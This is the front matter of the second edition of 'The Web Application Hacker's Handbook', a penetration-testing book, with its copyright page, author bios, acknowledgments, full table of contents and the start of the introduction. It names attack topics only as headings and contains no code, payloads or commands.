(黑客攻防)The Web Application Hacker's Handbook第二版


Stuttard fl ast.indd V2 - 08/10/2011 Page xxii flast.indd xxiiflast.indd xxii 8/19/2011 12:23:07 PM8/19/2011 12:23:07 PMStuttard ffi rs.indd V4 - 08/17/2011 Page i The Web Application Hacker’s Handbook Second Edition Finding and Exploiting Security Flaws Dafydd Stuttard Marcus Pinto ffirs.indd iffirs.indd i 8/19/2011 12:22:33 PM8/19/2011 12:22:33 PMStuttard ffi rs.indd V4 - 08/17/2011 Page ii The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, Second Edition Published by John Wiley & Sons, Inc. 10475 Crosspoint Boulevard Indianapolis, IN 46256 www.wiley.com Copyright © 2011 by Dafydd Stuttard and Marcus Pinto Published by John Wiley & Sons, Inc., Indianapolis, Indiana Published simultaneously in Canada ISBN: 978-1-118-02647-2 ISBN: 978-1-118-17522-4 (ebk) ISBN: 978-1-118-17524-8 (ebk) ISBN: 978-1-118-17523-1 (ebk) Manufactured in the United States of America 10 9 8 7 6 5 4 3 2 1 No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written permis- sion of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. Requests to the Publisher for permission should be addressed to the Permissions Department, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030, (201) 748-6011, fax (201) 748-6008, or online at http://www.wiley. com/go/permissions. Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or war- ranties with respect to the accuracy or completeness of the contents of this work and specifi cally disclaim all warranties, including without limitation warranties of fi tness for a particular purpose. No warranty may be created or extended by sales or promotional materials. The advice and strategies contained herein may not be suitable for every situation. This work is sold with the understanding that the publisher is not engaged in rendering legal, accounting, or other professional services. If professional assistance is required, the services of a competent professional person should be sought. Neither the publisher nor the author shall be liable for damages arising herefrom. The fact that an organization or Web site is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or website may provide or recommendations it may make. Further, readers should be aware that Internet websites listed in this work may have changed or disappeared between when this work was written and when it is read. For general information on our other products and services please contact our Customer Care Department within the United States at (877) 762-2974, outside the United States at (317) 572-3993 or fax (317) 572-4002. Wiley also publishes its books in a variety of electronic formats and by print-on-demand. Not all content that is available in standard print versions of this book may appear or be packaged in all book formats. If you have purchased a version of this book that did not include media that is referenced by or accompanies a standard print version, you may request this media by visiting http://booksupport.wiley. com. For more information about Wiley products, visit us at www.wiley.com. Library of Congress Control Number: 2011934639 Trademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affi liates, in the United States and other countries, and may not be used without written permission. All other trademarks are the property of their respective owners. John Wiley & Sons, Inc. is not associated with any product or vendor mentioned in this book. ffirs.indd iiffirs.indd ii 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page iii iii Dafydd Stuttard is an independent security consultant, author, and software developer. With more than 10 years of experience in security consulting, he specializes in the penetration testing of web applications and compiled soft- ware. Dafydd has worked with numerous banks, retailers, and other enterprises to help secure their web applications. He also has provided security consulting to several software manufacturers and governments to help secure their compiled software. Dafydd is an accomplished programmer in several languages. His interests include developing tools to facilitate all kinds of software security testing. Under the alias “PortSwigger,” Dafydd created the popular Burp Suite of web application hacking tools; he continues to work actively on Burp’s devel- opment. Dafydd is also cofounder of MDSec, a company providing training and consultancy on Internet security attack and defense. Dafydd has developed and presented training courses at various security conferences around the world, and he regularly delivers training to companies and governments. He holds master’s and doctorate degrees in philosophy from the University of Oxford. Marcus Pinto is cofounder of MDSec, developing and delivering training courses in web application security. He also performs ongoing security con- sultancy for fi nancial, government, telecom, and retail verticals. His 11 years of experience in the industry have been dominated by the technical aspects of application security, from the dual perspectives of a consulting and end-user implementation role. Marcus has a background in attack-based security assess- ment and penetration testing. He has worked extensively with large-scale web application deployments in the fi nancial services industry. Marcus has been developing and presenting database and web application training courses since 2005 at Black Hat and other worldwide security conferences, and for private- sector and government clients. He holds a master’s degree in physics from the University of Cambridge. About the Authors ffirs.indd iiiffirs.indd iii 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page iv iv About the Technical Editor Dr. Josh Pauli received his Ph.D. in Software Engineering from North Dakota State University (NDSU) with an emphasis in secure requirements engineering and now serves as an Associate Professor of Information Security at Dakota State University (DSU). Dr. Pauli has published nearly 20 international jour- nal and conference papers related to software security and his work includes invited presentations from the Department of Homeland Security and Black Hat Briefi ngs. He teaches both undergraduate and graduate courses in system software security and web software security at DSU. Dr. Pauli also conducts web application penetration tests as a Senior Penetration Tester for an Information Security consulting fi rm where his duties include developing hands-on techni- cal workshops in the area of web software security for IT professionals in the fi nancial sector. ffirs.indd ivffirs.indd iv 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page v v MDSec: The Authors’ Company Dafydd and Marcus are cofounders of MDSec, a company that provides training in attack and defense-based security, along with other consultancy services. If while reading this book you would like to put the concepts into practice, and gain hands-on experience in the areas covered, you are encouraged to visit our website, http://mdsec.net. This will give you access to hundreds of interactive vulnerability labs and other resources that are referenced throughout the book. ffirs.indd vffirs.indd v 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page vi vi Executive Editor Carol Long Senior Project Editor Adaobi Obi Tulton Technical Editor Josh Pauli Production Editor Kathleen Wisor Copy Editor Gayle Johnson Editorial Manager Mary Beth Wakefi eld Freelancer Editorial Manager Rosemarie Graham Associate Director of Marketing David Mayhew Marketing Manager Ashley Zurcher Business Manager Amy Knies Production Manager Tim Tate Vice President and Executive Group Publisher Richard Swadley Vice President and Executive Publisher Neil Edde Associate Publisher Jim Minatel Project Coordinator, Cover Katie Crocker Proofreaders Sarah Kaikini, Word One Sheilah Ledwidge, Word One Indexer Robert Swanson Cover Designer Ryan Sneed Cover Image Wiley InHouse Design Vertical Websites Project Manager Laura Moss-Hollister Vertical Websites Assistant Project Manager Jenny Swisher Vertical Websites Associate Producers Josh Frank Shawn Patrick Doug Kuhn Marilyn Hummel Credits ffirs.indd viffirs.indd vi 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page vii vii Acknowledgments We are indebted to the directors and others at Next Generation Security Software, who provided the right environment for us to realize the fi rst edition of this book. Since then, our input has come from an increasingly wider community of researchers and professionals who have shared their ideas and contributed to the collective understanding of web application security issues that exists today. Because this is a practical handbook rather than a work of scholarship, we have deliberately avoided fi lling it with a thousand citations of infl uential articles, books, and blog postings that spawned the ideas involved. We hope that people whose work we discuss anonymously are content with the general credit given here. We are grateful to the people at Wiley — in particular, to Carol Long for enthusiastically supporting our project from the outset, to Adaobi Obi Tulton for helping polish our manuscript and coaching us in the quirks of “American English,” to Gayle Johnson for her very helpful and attentive copy editing, and to Katie Wisor’s team for delivering a fi rst-rate production. A large measure of thanks is due to our respective partners, Becky and Amanda, for tolerating the signifi cant distraction and time involved in producing a book of this size. Both authors are indebted to the people who led us into our unusual line of work. Dafydd would like to thank Martin Law. Martin is a great guy who fi rst taught me how to hack and encouraged me to spend my time developing techniques and tools for attacking applications. Marcus would like to thank his parents for everything they have done and continue to do, including getting me into computers. I’ve been getting into computers ever since. ffirs.indd viiffirs.indd vii 8/19/2011 12:22:37 PM8/19/2011 12:22:37 PMStuttard ffi rs.indd V4 - 08/17/2011 Page viii viii Contents at a Glance Introduction xxiii Chapter 1 Web Application (In)security 1 Chapter 2 Core Defense Mechanisms 17 Chapter 3 Web Application Technologies 39 Chapter 4 Mapping the Application 73 Chapter 5 Bypassing Client-Side Controls 117 Chapter 6 Attacking Authentication 159 Chapter 7 Attacking Session Management 205 Chapter 8 Attacking Access Controls 257 Chapter 9 Attacking Data Stores 287 Chapter 10 Attacking Back-End Components 357 Chapter 11 Attacking Application Logic 405 Chapter 12 Attacking Users: Cross-Site Scripting 431 Chapter 13 Attacking Users: Other Techniques 501 Chapter 14 Automating Customized Attacks 571 Chapter 15 Exploiting Information Disclosure 615 Chapter 16 Attacking Native Compiled Applications 633 Chapter 17 Attacking Application Architecture 647 Chapter 18 Attacking the Application Server 669 Chapter 19 Finding Vulnerabilities in Source Code 701 Chapter 20 A Web Application Hacker’s Toolkit 747 Chapter 21 A Web Application Hacker’s Methodology 791 Index 853 ffirs.indd viiiffirs.indd viii 8/19/2011 12:22:38 PM8/19/2011 12:22:38 PMStuttard ftoc.indd V2 - 08/10/2011 Page ix ix Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefi ts of Web Applications 5 Web Application Security 6 “This Site Is Secure” 7 The Core Security Problem: Users Can Submit Arbitrary Input 9 Key Problem Factors 10 The New Security Perimeter 12 The Future of Web Application Security 14 Summary 15 Chapter 2 Core Defense Mechanisms 17 Handling User Access 18 Authentication 18 Session Management 19 Access Control 20 Handling User Input 21 Varieties of Input 21 Approaches to Input Handling 23 Boundary Validation 25 Multistep Validation and Canonicalization 28 Handling Attackers 30 Handling Errors 30 Maintaining Audit Logs 31 Alerting Administrators 33 Reacting to Attacks 34 Contents ftoc.indd ixftoc.indd ix 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page x x Contents Managing the Application 35 Summary 36 Questions 36 Chapter 3 Web Application Technologies 39 The HTTP Protocol 39 HTTP Requests 40 HTTP Responses 41 HTTP Methods 42 URLs 44 REST 44 HTTP Headers 45 Cookies 47 Status Codes 48 HTTPS 49 HTTP Proxies 49 HTTP Authentication 50 Web Functionality 51 Server-Side Functionality 51 Client-Side Functionality 57 State and Sessions 66 Encoding Schemes 66 URL Encoding 67 Unicode Encoding 67 HTML Encoding 68 Base64 Encoding 69 Hex Encoding 69 Remoting and Serialization Frameworks 70 Next Steps 70 Questions 71 Chapter 4 Mapping the Application 73 Enumerating Content and Functionality 74 Web Spidering 74 User-Directed Spidering 77 Discovering Hidden Content 80 Application Pages Versus Functional Paths 93 Discovering Hidden Parameters 96 Analyzing the Application 97 Identifying Entry Points for User Input 98 Identifying Server-Side Technologies 101 Identifying Server-Side Functionality 107 Mapping the Attack Surface 111 Summary 114 Questions 114 ftoc.indd xftoc.indd x 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMx Stuttard ftoc.indd V2 - 08/10/2011 Page xi Contents xi Chapter 5 Bypassing Client-Side Controls 117 Transmitting Data Via the Client 118 Hidden Form Fields 118 HTTP Cookies 121 URL Parameters 121 The Referer Header 122 Opaque Data 123 The ASP.NET ViewState 124 Capturing User Data: HTML Forms 127 Length Limits 128 Script-Based Validation 129 Disabled Elements 131 Capturing User Data: Browser Extensions 133 Common Browser Extension Technologies 134 Approaches to Browser Extensions 135 Intercepting Traffi c from Browser Extensions 135 Decompiling Browser Extensions 139 Attaching a Debugger 151 Native Client Components 153 Handling Client-Side Data Securely 154 Transmitting Data Via the Client 154 Validating Client-Generated Data 155 Logging and Alerting 156 Summary 156 Questions 157 Chapter 6 Attacking Authentication 159 Authentication Technologies 160 Design Flaws in Authentication Mechanisms 161 Bad Passwords 161 Brute-Forcible Login 162 Verbose Failure Messages 166 Vulnerable Transmission of Credentials 169 Password Change Functionality 171 Forgotten Password Functionality 173 “Remember Me” Functionality 176 User Impersonation Functionality 178 Incomplete Validation of Credentials 180 Nonunique Usernames 181 Predictable Usernames 182 Predictable Initial Passwords 183 Insecure Distribution of Credentials 184 Implementation Flaws in Authentication 185 Fail-Open Login Mechanisms 185 Defects in Multistage Login Mechanisms 186 Insecure Storage of Credentials 190 ftoc.indd xiftoc.indd xi 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page xii xii Contents Securing Authentication 191 Use Strong Credentials 192 Handle Credentials Secretively 192 Validate Credentials Properly 193 Prevent Information Leakage 195 Prevent Brute-Force Attacks 196 Prevent Misuse of the Password Change Function 199 Prevent Misuse of the Account Recovery Function 199 Log, Monitor, and Notify 201 Summary 201 Questions 202 Chapter 7 Attacking Session Management 205 The Need for State 206 Alternatives to Sessions 208 Weaknesses in Token Generation 210 Meaningful Tokens 210 Predictable Tokens 213 Encrypted Tokens 223 Weaknesses in Session Token Handling 233 Disclosure of Tokens on the Network 234 Disclosure of Tokens in Logs 237 Vulnerable Mapping of Tokens to Sessions 240 Vulnerable Session Termination 241 Client Exposure to Token Hijacking 243 Liberal Cookie Scope 244 Securing Session Management 248 Generate Strong Tokens 248 Protect Tokens Throughout Their Life Cycle 250 Log, Monitor, and Alert 253 Summary 254 Questions 255 Chapter 8 Attacking Access Controls 257 Common Vulnerabilities 258 Completely Unprotected Functionality 259 Identifi er-Based Functions 261 Multistage Functions 262 Static Files 263 Platform Misconfi guration 264 Insecure Access Control Methods 265 Attacking Access Controls 266 Testing with Different User Accounts 267 Testing Multistage Processes 271 Testing with Limited Access 273 Testing Direct Access to Methods 276 Testing Controls Over Static Resources 277 ftoc.indd xiiftoc.indd xii 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMxii Stuttard ftoc.indd V2 - 08/10/2011 Page xiii Contents xiii Testing Restrictions on HTTP Methods 278 Securing Access Controls 278 A Multilayered Privilege Model 280 Summary 284 Questions 284 Chapter 9 Attacking Data Stores 287 Injecting into Interpreted Contexts 288 Bypassing a Login 288 Injecting into SQL 291 Exploiting a Basic Vulnerability 292 Injecting into Different Statement Types 294 Finding SQL Injection Bugs 298 Fingerprinting the Database 303 The UNION Operator 304 Extracting Useful Data 308 Extracting Data with UNION 308 Bypassing Filters 311 Second-Order SQL Injection 313 Advanced Exploitation 314 Beyond SQL Injection: Escalating the Database Attack 325 Using SQL Exploitation Tools 328 SQL Syntax and Error Reference 332 Preventing SQL Injection 338 Injecting into NoSQL 342 Injecting into MongoDB 343 Injecting into XPath 344 Subverting Application Logic 345 Informed XPath Injection 346 Blind XPath Injection 347 Finding XPath Injection Flaws 348 Preventing XPath Injection 349 Injecting into LDAP 349 Exploiting LDAP Injection 351 Finding LDAP Injection Flaws 353 Preventing LDAP Injection 354 Summary 354 Questions 354 Chapter 10 Attacking Back-End Components 357 Injecting OS Commands 358 Example 1: Injecting Via Perl 358 Example 2: Injecting Via ASP 360 Injecting Through Dynamic Execution 362 Finding OS Command Injection Flaws 363 Finding Dynamic Execution Vulnerabilities 366 ftoc.indd xiiiftoc.indd xiii 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page xiv xiv Contents Preventing OS Command Injection 367 Preventing Script Injection Vulnerabilities 368 Manipulating File Paths 368 Path Traversal Vulnerabilities 368 File Inclusion Vulnerabilities 381 Injecting into XML Interpreters 383 Injecting XML External Entities 384 Injecting into SOAP Services 386 Finding and Exploiting SOAP Injection 389 Preventing SOAP Injection 390 Injecting into Back-end HTTP Requests 390 Server-side HTTP Redirection 390 HTTP Parameter Injection 393 Injecting into Mail Services 397 E-mail Header Manipulation 398 SMTP Command Injection 399 Finding SMTP Injection Flaws 400 Preventing SMTP Injection 402 Summary 402 Questions 403 Chapter 11 Attacking Application Logic 405 The Nature of Logic Flaws 406 Real-World Logic Flaws 406 Example 1: Asking the Oracle 407 Example 2: Fooling a Password Change Function 409 Example 3: Proceeding to Checkout 410 Example 4: Rolling Your Own Insurance 412 Example 5: Breaking the Bank 414 Example 6: Beating a Business Limit 416 Example 7: Cheating on Bulk Discounts 418 Example 8: Escaping from Escaping 419 Example 9: Invalidating Input Validation 420 Example 10: Abusing a Search Function 422 Example 11: Snarfi ng Debug Messages 424 Example 12: Racing Against the Login 426 Avoiding Logic Flaws 428 Summary 429 Questions 430 Chapter 12 Attacking Users: Cross-Site Scripting 431 Varieties of XSS 433 Refl ected XSS Vulnerabilities 434 Stored XSS Vulnerabilities 438 DOM-Based XSS Vulnerabilities 440 XSS Attacks in Action 442 Real-World XSS Attacks 442 ftoc.indd xivftoc.indd xiv 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMiv Stuttard ftoc.indd V2 - 08/10/2011 Page xv Contents xv Payloads for XSS Attacks 443 Delivery Mechanisms for XSS Attacks 447 Finding and Exploiting XSS Vulnerabilities 451 Finding and Exploiting Refl ected XSS Vulnerabilities 452 Finding and Exploiting Stored XSS Vulnerabilities 481 Finding and Exploiting DOM-Based XSS Vulnerabilities 487 Preventing XSS Attacks 492 Preventing Refl ected and Stored XSS 492 Preventing DOM-Based XSS 496 Summary 498 Questions 498 Chapter 13 Attacking Users: Other Techniques 501 Inducing User Actions 501 Request Forgery 502 UI Redress 511 Capturing Data Cross-Domain 515 Capturing Data by Injecting HTML 516 Capturing Data by Injecting CSS 517 JavaScript Hijacking 519 The Same-Origin Policy Revisited 524 The Same-Origin Policy and Browser Extensions 525 The Same-Origin Policy and HTML5 528 Crossing Domains with Proxy Service Applications 529 Other Client-Side Injection Attacks 531 HTTP Header Injection 531 Cookie Injection 536 Open Redirection Vulnerabilities 540 Client-Side SQL Injection 547 Client-Side HTTP Parameter Pollution 548 Local Privacy Attacks 550 Persistent Cookies 550 Cached Web Content 551 Browsing History 552 Autocomplete 552 Flash Local Shared Objects 553 Silverlight Isolated Storage 553 Internet Explorer userData 554 HTML5 Local Storage Mechanisms 554 Preventing Local Privacy Attacks 554 Attacking ActiveX Controls 555 Finding ActiveX Vulnerabilities 556 Preventing ActiveX Vulnerabilities 558 Attacking the Browser 559 Logging Keystrokes 560 Stealing Browser History and Search Queries 560 ftoc.indd xvftoc.indd xv 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page xvi xvi Contents Enumerating Currently Used Applications 560 Port Scanning 561 Attacking Other Network Hosts 561 Exploiting Non-HTTP Services 562 Exploiting Browser Bugs 563 DNS Rebinding 563 Browser Exploitation Frameworks 564 Man-in-the-Middle Attacks 566 Summary 568 Questions 568 Chapter 14 Automating Customized Attacks 571 Uses for Customized Automation 572 Enumerating Valid Identifi ers 573 The Basic Approach 574 Detecting Hits 574 Scripting the Attack 576 JAttack 577 Harvesting Useful Data 583 Fuzzing for Common Vulnerabilities 586 Putting It All Together: Burp Intruder 590 Barriers to Automation 602 Session-Handling Mechanisms 602 CAPTCHA Controls 610 Summary 613 Questions 613 Chapter 15 Exploiting Information Disclosure 615 Exploiting Error Messages 615 Script Error Messages 616 Stack Traces 617 Informative Debug Messages 618 Server and Database Messages 619 Using Public Information 623 Engineering Informative Error Messages 624 Gathering Published Information 625 Using Inference 626 Preventing Information Leakage 627 Use Generic Error Messages 628 Protect Sensitive Information 628 Minimize Client-Side Information Leakage 629 Summary 629 Questions 630 Chapter 16 Attacking Native Compiled Applications 633 Buffer Overfl ow Vulnerabilities 634 Stack Overfl ows 634 Heap Overfl ows 635 ftoc.indd xviftoc.indd xvi 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMvi Stuttard ftoc.indd V2 - 08/10/2011 Page xvii Contents xvii “Off-by-One” Vulnerabilities 636 Detecting Buffer Overfl ow Vulnerabilities 639 Integer Vulnerabilities 640 Integer Overfl ows 640 Signedness Errors 641 Detecting Integer Vulnerabilities 642 Format String Vulnerabilities 643 Detecting Format String Vulnerabilities 644 Summary 645 Questions 645 Chapter 17 Attacking Application Architecture 647 Tiered Architectures 647 Attacking Tiered Architectures 648 Securing Tiered Architectures 654 Shared Hosting and Application Service Providers 656 Virtual Hosting 657 Shared Application Services 657 Attacking Shared Environments 658 Securing Shared Environments 665 Summary 667 Questions 667 Chapter 18 Attacking the Application Server 669 Vulnerable Server Confi guration 670 Default Credentials 670 Default Content 671 Directory Listings 677 WebDAV Methods 679 The Application Server as a Proxy 682 Misconfi gured Virtual Hosting 683 Securing Web Server Confi guration 684 Vulnerable Server Software 684 Application Framework Flaws 685 Memory Management Vulnerabilities 687 Encoding and Canonicalization 689 Finding Web Server Flaws 694 Securing Web Server Software 695 Web Application Firewalls 697 Summary 699 Questions 699 Chapter 19 Finding Vulnerabilities in Source Code 701 Approaches to Code Review 702 Black-Box Versus White-Box Testing 702 Code Review Methodology 703 Signatures of Common Vulnerabilities 704 Cross-Site Scripting 704 ftoc.indd xviiftoc.indd xvii 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page xviii xviii Contents SQL Injection 705 Path Traversal 706 Arbitrary Redirection 707 OS Command Injection 708 Backdoor Passwords 708 Native Software Bugs 709 Source Code Comments 710 The Java Platform 711 Identifying User-Supplied Data 711 Session Interaction 712 Potentially Dangerous APIs 713 Confi guring the Java Environment 716 ASP.NET 718 Identifying User-Supplied Data 718 Session Interaction 719 Potentially Dangerous APIs 720 Confi guring the ASP.NET Environment 723 PHP 724 Identifying User-Supplied Data 724 Session Interaction 727 Potentially Dangerous APIs 727 Confi guring the PHP Environment 732 Perl 735 Identifying User-Supplied Data 735 Session Interaction 736 Potentially Dangerous APIs 736 Confi guring the Perl Environment 739 JavaScript 740 Database Code Components 741 SQL Injection 741 Calls to Dangerous Functions 742 Tools for Code Browsing 743 Summary 744 Questions 744 Chapter 20 A Web Application Hacker’s Toolkit 747 Web Browsers 748 Internet Explorer 748 Firefox 749 Chrome 750 Integrated Testing Suites 751 How the Tools Work 751 Testing Work Flow 769 Alternatives to the Intercepting Proxy 771 Standalone Vulnerability Scanners 773 Vulnerabilities Detected by Scanners 774 Inherent Limitations of Scanners 776 ftoc.indd xviiiftoc.indd xviii 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMiii Stuttard ftoc.indd V2 - 08/10/2011 Page xix Contents xix Technical Challenges Faced by Scanners 778 Current Products 781 Using a Vulnerability Scanner 783 Other Tools 785 Wikto/Nikto 785 Firebug 785 Hydra 785 Custom Scripts 786 Summary 789 Chapter 21 A Web Application Hacker’s Methodology 791 General Guidelines 793 1 Map the Application’s Content 795 1.1 Explore Visible Content 795 1.2 Consult Public Resources 796 1.3 Discover Hidden Content 796 1.4 Discover Default Content 797 1.5 Enumerate Identifi er-Specifi ed Functions 797 1.6 Test for Debug Parameters 798 2 Analyze the Application 798 2.1 Identify Functionality 798 2.2 Identify Data Entry Points 799 2.3 Identify the Technologies Used 799 2.4 Map the Attack Surface 800 3 Test Client-Side Controls 800 3.1 Test Transmission of Data Via the Client 801 3.2 Test Client-Side Controls Over User Input 801 3.3 Test Browser Extension Components 802 4 Test the Authentication Mechanism 805 4.1 Understand the Mechanism 805 4.2 Test Password Quality 806 4.3 Test for Username Enumeration 806 4.4 Test Resilience to Password Guessing 807 4.5 Test Any Account Recovery Function 807 4.6 Test Any Remember Me Function 808 4.7 Test Any Impersonation Function 808 4.8 Test Username Uniqueness 809 4.9 Test Predictability of Autogenerated Credentials 809 4.10 Check for Unsafe Transmission of Credentials 810 4.11 Check for Unsafe Distribution of Credentials 810 4.12 Test for Insecure Storage 811 4.13 Test for Logic Flaws 811 4.14 Exploit Any Vulnerabilities to Gain Unauthorized Access 813 5 Test the Session Management Mechanism 814 5.1 Understand the Mechanism 814 5.2 Test Tokens for Meaning 815 5.3 Test Tokens for Predictability 816 ftoc.indd xixftoc.indd xix 8/19/2011 12:23:35 PM8/19/2011 12:23:35 PMStuttard ftoc.indd V2 - 08/10/2011 Page xx xx Contents 5.4 Check for Insecure Transmission of Tokens 817 5.5 Check for Disclosure of Tokens in Logs 817 5.6 Check Mapping of Tokens to Sessions 818 5.7 Test Session Termination 818 5.8 Check for Session Fixation 819 5.9 Check for CSRF 820 5.10 Check Cookie Scope 820 6 Test Access Controls 821 6.1 Understand the Access Control Requirements 821 6.2 Test with Multiple Accounts 822 6.3 Test with Limited Access 822 6.4 Test for Insecure Access Control Methods 823 7 Test for Input-Based Vulnerabilities 824 7.1 Fuzz All Request Parameters 824 7.2 Test for SQL Injection 827 7.3 Test for XSS and Other Response Injection 829 7.4 Test for OS Command Injection 832 7.5 Test for Path Traversal 833 7.6 Test for Script Injection 835 7.7 Test for File Inclusion 835 8 Test for Function-Specifi c Input Vulnerabilities 836 8.1 Test for SMTP Injection 836 8.2 Test for Native Software Vulnerabilities 837 8.3 Test for SOAP Injection 839 8.4 Test for LDAP Injection 839 8.5 Test for XPath Injection 840 8.6 Test for Back-End Request Injection 841 8.7 Test for XXE Injection 841 9 Test for Logic Flaws 842 9.1 Identify the Key Attack Surface 842 9.2 Test Multistage Processes 842 9.3 Test Handling of Incomplete Input 843 9.4 Test Trust Boundaries 844 9.5 Test Transaction Logic 844 10 Test for Shared Hosting Vulnerabilities 845 10.1 Test Segregation in Shared Infrastructures 845 10.2 Test Segregation Between ASP-Hosted Applications 845 11 Test for Application Server Vulnerabilities 846 11.1 Test for Default Credentials 846 11.2 Test for Default Content 847 11.3 Test for Dangerous HTTP Methods 847 11.4 Test for Proxy Functionality 847 11.5 Test for Virtual Hosting Misconfi guration 847 11.6 Test for Web Server Software Bugs 848 11.7 Test for Web Application Firewalling 848 ftoc.indd xxftoc.indd xx 8/19/2011 12:23:36 PM8/19/2011 12:23:36 PMxx Stuttard ftoc.indd V2 - 08/10/2011 Page xxi Contents xxi 12 Miscellaneous Checks 849 12.1 Check for DOM-Based Attacks 849 12.2 Check for Local Privacy Vulnerabilities 850 12.3 Check for Weak SSL Ciphers 851 12.4 Check Same-Origin Policy Confi guration 851 13 Follow Up Any Information Leakage 852 Index 853 ftoc.indd xxiftoc.indd xxi 8/19/2011 12:23:36 PM8/19/2011 12:23:36 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxii flast.indd xxiiflast.indd xxii 8/19/2011 12:23:07 PM8/19/2011 12:23:07 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxiii xxiii Introduction This book is a practical guide to discovering and exploiting security fl aws in web applications. By “web applications” we mean those that are accessed using a web browser to communicate with a web server. We examine a wide variety of different technologies, such as databases, fi le systems, and web services, but only in the context in which these are employed by web applications. If you want to learn how to run port scans, attack fi rewalls, or break into serv- ers in other ways, we suggest you look elsewhere. But if you want to know how to hack into a web application, steal sensitive data, and perform unauthorized actions, this is the book for you. There is enough that is interesting and fun to say on that subject without straying into any other territory. Overview of This Book The focus of this book is highly practical. Although we include suffi cient back- ground and theory for you to understand the vulnerabilities that web applications contain, our primary concern is the tasks and techniques that you need to master to break into them. Throughout the book, we spell out the specifi c steps you need to follow to detect each type of vulnerability, and how to exploit it to perform unauthorized actions. We also include a wealth of real-world examples, derived from the authors’ many years of experience, illustrating how different kinds of security fl aws manifest themselves in today’s web applications. Security awareness is usually a double-edged sword. Just as application developers can benefi t from understanding the methods attackers use, hackers can gain from knowing how applications can effectively defend themselves. In addition to describing security vulnerabilities and attack techniques, we describe in detail the countermeasures that applications can take to thwart an flast.indd xxiiiflast.indd xxiii 8/19/2011 12:23:07 PM8/19/2011 12:23:07 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxiv xxiv Introduction attacker. If you perform penetration tests of web applications, this will enable you to provide high-quality remediation advice to the owners of the applica- tions you compromise. Who Should Read This Book This book’s primary audience is anyone who has a personal or professional interest in attacking web applications. It is also aimed at anyone responsible for developing and administering web applications. Knowing how your enemies operate will help you defend against them. We assume that you are familiar with core security concepts such as logins and access controls and that you have a basic grasp of core web technologies such as browsers, web servers, and HTTP. However, any gaps in your current knowledge of these areas will be easy to remedy, through either the explana- tions contained in this book or references elsewhere. In the course of illustrating many categories of security fl aws, we provide code extracts showing how applications can be vulnerable. These examples are simple enough that you can understand them without any prior knowledge of the language in question. But they are most useful if you have some basic experience with reading or writing code. How This Book Is Organized This book is organized roughly in line with the dependencies between the dif- ferent topics covered. If you are new to web application hacking, you should read the book from start to fi nish, acquiring the knowledge and understanding you need to tackle later chapters. If you already have some experience in this area, you can jump straight into any chapter or subsection that particularly interests you. Where necessary, we have included cross-references to other chapters, which you can use to fi ll in any gaps in your understanding. We begin with three context-setting chapters describing the current state of web application security and the trends that indicate how it is likely to evolve in the near future. We examine the core security problem affecting web appli- cations and the defense mechanisms that applications implement to address this problem. We also provide a primer on the key technologies used in today’s web applications. The bulk of the book is concerned with our core topic — the techniques you can use to break into web applications. This material is organized around the key tasks you need to perform to carry out a comprehensive attack. These include mapping the application’s functionality, scrutinizing and attacking its core defense mechanisms, and probing for specifi c categories of security fl aws. flast.indd xxivflast.indd xxiv 8/19/2011 12:23:07 PM8/19/2011 12:23:07 PMStuttard fl ast.indd V2 - 08/10/2011 Page xxv Introduction xxv The book concludes with three chapters that pull together the various strands introduced in the book. We describe the process of fi nding vulnerabilities in an application’s source code, review the tools that can help when you hack web applications, and present a detailed methodology for performing a comprehen- sive and deep attack against a specifi c target. Chapter 1, “Web Application (In)security,” describes the current state of secu- rity in web applications on the Internet today. Despite common assurances, the majority of applications are insecure and can be compromised in some way with a modest degree of skill. Vulnerabilities in web applications arise because of a single core problem: users can submit arbitrary input. This chapter examines the key factors that contribute to the weak security posture of today’s applications. It also describes how defects in web applications can leave an organization’s wider technical infrastructure highly vulnerable to attack. Chapter 2, “Core Defense Mechanisms,” describes the key security mechanisms that web applications employ to address the fundamental problem that all user input is untrusted. These mechanisms are the means by which an application manages user access, handles user input, and responds to attackers. These mechanisms also include the functions provided for administrators to manage and monitor the application itself. The application’s core security mechanisms also represent its primary attack surface, so you need to understand how these mechanisms are intended to function before you can effectively attack them. Chapter 3, “Web Application Technologies,” is a short primer on the key technologies you are likely to encounter when attacking web applications. It covers all relevant aspects of the HTTP protocol, the technologies commonly used on the client and server sides, and various schemes used to encode data. If you are already familiar with the main web technologies, you can skim through this chapter. Chapter 4, “Mapping the Application,” describes 